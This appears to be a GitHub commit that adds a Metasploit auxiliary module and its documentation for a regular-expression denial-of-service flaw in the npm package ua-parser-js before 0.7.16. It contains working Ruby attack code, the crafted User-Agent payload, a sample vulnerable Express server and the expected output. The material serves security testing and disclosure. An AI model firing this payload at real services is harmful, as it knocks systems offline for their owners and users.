Skip to content

Commit c0a5341

Browse files
committed
Land rapid7#9284 a regex dos for ua_parser_js npm module
2 parents cfec0f4 + 544e4e3 commit c0a5341

File tree

2 files changed

+180
-0
lines changed

2 files changed

+180
-0
lines changed
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
4+
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
5+
Any application that uses a vulnerable version of this module and calls the `getOS`
6+
or `getResult` functions will be vulnerable to this module. An example server is provided
7+
below.
8+
9+
## How to Install
10+
11+
To install a vulnerable version of `ua-parser-js`, run:
12+
```
13+
14+
```
15+
16+
## Verification Steps
17+
18+
Example steps in this format (is also in the PR):
19+
20+
1. Create a new directory for test application.
21+
2. Copy below example server into test application directory as `server.js`.
22+
3. Run `npm i express` to install express in the test application directory.
23+
4. To test vulnerable versions of the module, run `npm i [email protected]` to install a vulnerable version of ua-parser-js.
24+
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
25+
6. Once all dependencies are installed, run the server with `node server.js`.
26+
7. Open up a new terminal.
27+
8. Start msfconsole.
28+
9. `use auxiliary/dos/http/ua_parser_js_redos`.
29+
10. `set RHOST [IP]`.
30+
11. `run`.
31+
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
32+
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
33+
34+
## Scenarios
35+
36+
### ua-parser-js npm module version 0.7.15
37+
38+
Expected output for successful exploitation:
39+
40+
```
41+
[*] Testing Service to make sure it is working.
42+
[*] Test request successful, attempting to send payload
43+
[*] Sending ReDoS request to 192.168.3.24:3000.
44+
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
45+
[*] Testing for service unresponsiveness.
46+
[+] Service not responding.
47+
[*] Auxiliary module execution completed
48+
```
49+
50+
### Example Vulnerable Application
51+
52+
```
53+
// npm i express
54+
// npm i [email protected] (vulnerable)
55+
// npm i ua-parser-js (non-vulnerable)
56+
57+
const express = require('express')
58+
const uaParser = require('ua-parser-js');
59+
const app = express()
60+
61+
app.get('/', (req, res) => {
62+
var parser = new uaParser(req.headers['user-agent']);
63+
res.end(JSON.stringify(parser.getResult()));
64+
});
65+
66+
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
67+
```
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Dos
9+
10+
def initialize
11+
super(
12+
'Name' => 'ua-parser-js npm module ReDoS',
13+
'Description' => %q{
14+
This module exploits a Regular Expression Denial of Service vulnerability
15+
in the npm module "ua-parser-js". Server-side applications that use
16+
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
17+
if they call the "getOS" or "getResult" functions. This vulnerability was
18+
fixed as of version 0.7.16.
19+
},
20+
'References' =>
21+
[
22+
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
23+
['CWE', '400'],
24+
],
25+
'Author' =>
26+
[
27+
'Ryan Knell, Sonatype Security Research',
28+
'Nick Starke, Sonatype Security Research',
29+
],
30+
'License' => MSF_LICENSE
31+
)
32+
33+
register_options([
34+
Opt::RPORT(80)
35+
])
36+
end
37+
38+
def run
39+
unless test_service
40+
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
41+
else
42+
trigger_redos
43+
test_service_unresponsive
44+
end
45+
end
46+
47+
def trigger_redos
48+
begin
49+
print_status("Sending ReDoS request to #{peer}.")
50+
51+
res = send_request_cgi({
52+
'uri' => '/',
53+
'method' => 'GET',
54+
'headers' => {
55+
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
56+
}
57+
})
58+
59+
if res.nil?
60+
print_status("No response received from #{peer}, service is most likely unresponsive.")
61+
else
62+
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
63+
end
64+
65+
rescue ::Rex::ConnectionRefused
66+
print_error("Unable to connect to #{peer}.")
67+
rescue ::Timeout::Error
68+
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
69+
end
70+
end
71+
72+
def test_service_unresponsive
73+
begin
74+
print_status('Testing for service unresponsiveness.')
75+
76+
res = send_request_cgi({
77+
'uri' => '/' + Rex::Text.rand_text_alpha(8),
78+
'method' => 'GET'
79+
})
80+
81+
if res.nil?
82+
print_good('Service not responding.')
83+
else
84+
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
85+
end
86+
rescue ::Rex::ConnectionRefused
87+
print_error('An unknown error occurred.')
88+
rescue ::Timeout::Error
89+
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
90+
end
91+
end
92+
93+
def test_service
94+
begin
95+
print_status('Testing Service to make sure it is working.')
96+
97+
res = send_request_cgi({
98+
'uri' => '/' + Rex::Text.rand_text_alpha(8),
99+
'method' => 'GET'
100+
})
101+
102+
if !res.nil? && (res.code == 200 || res.code == 404)
103+
print_status('Test request successful, attempting to send payload')
104+
return true
105+
else
106+
return false
107+
end
108+
rescue ::Rex::ConnectionRefused
109+
print_error("Unable to connect to #{peer}.")
110+
return false
111+
end
112+
end
113+
end

0 commit comments

Comments
 (0)